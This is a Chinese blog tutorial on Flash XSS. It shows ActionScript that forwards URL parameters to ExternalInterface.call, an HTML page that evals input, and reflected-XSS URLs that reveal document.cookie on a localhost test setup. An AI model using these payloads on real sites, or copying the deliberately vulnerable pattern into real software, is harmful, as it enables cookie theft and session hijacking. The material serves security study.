zoukankan      html  css  js  c++  java
  • Flash XSS

    示例:

    创建一个测试flash,代码如下,导出swf文件

    //取m参数

    var m=_root.m;

    //取showInfo参数

    var showInfo=_root.showInfo;

    //调用html中Javascript中的m方法,参数为showInfo

    flash.external.ExternalInterface.call(m,showInfo);

     ExternalInterface

    在HTML中引用flash:

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

    <html>

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Flash XSS</title>

    </head>

    <script>

    function showInfo(info){

        eval(info)

    }

    </script>

    <body>

    <embed src="test.swf?m=showInfo&showInfo=alert(document.cookie)" allowscriptaccess="always"></embed>

    <div id=info></div>

    </body>

    </html>

    成功执行执行攻击代码,弹出cookie。

    上面演示的执行,其实还可以直接执行反射XSS。

    由于Javascript中可以使用匿名函数function(){代码}进行执行。

    如:

    http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(/xss/)}&showInfo=s

     

    成功弹出,试试弹出cookie。

    http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(document.cookie)}&showInfo=s

    没有弹出任何东西,因为这里没有document对象,这里我们利用location.href来生成HTML代码

    http://localhost:8080/JavaTest/xss/test.swf?m=function(){location.href="javascript:'<script>alert(document.cookie)</script>'"}&showInfo=s

    将攻击代码输入到HTML中了。

    成功执行了弹出cookie。

     

  • 相关阅读:
    STL容器 erase的使用陷井
    转:VC++线程同步-事件对象
    VC线程同步方法
    C/C++四种退出线程的方法
    rabbitMQ 常用命令
    Spring @Configuration
    Spring RabbitMQ 延迟队列
    rabbitmq web管理界面 用户管理
    Linux下tar.gz 安装
    Linux下RPM软件包的安装及卸载
  • 原文地址:https://www.cnblogs.com/vege/p/12984642.html
Copyright © 2011-2022 走看看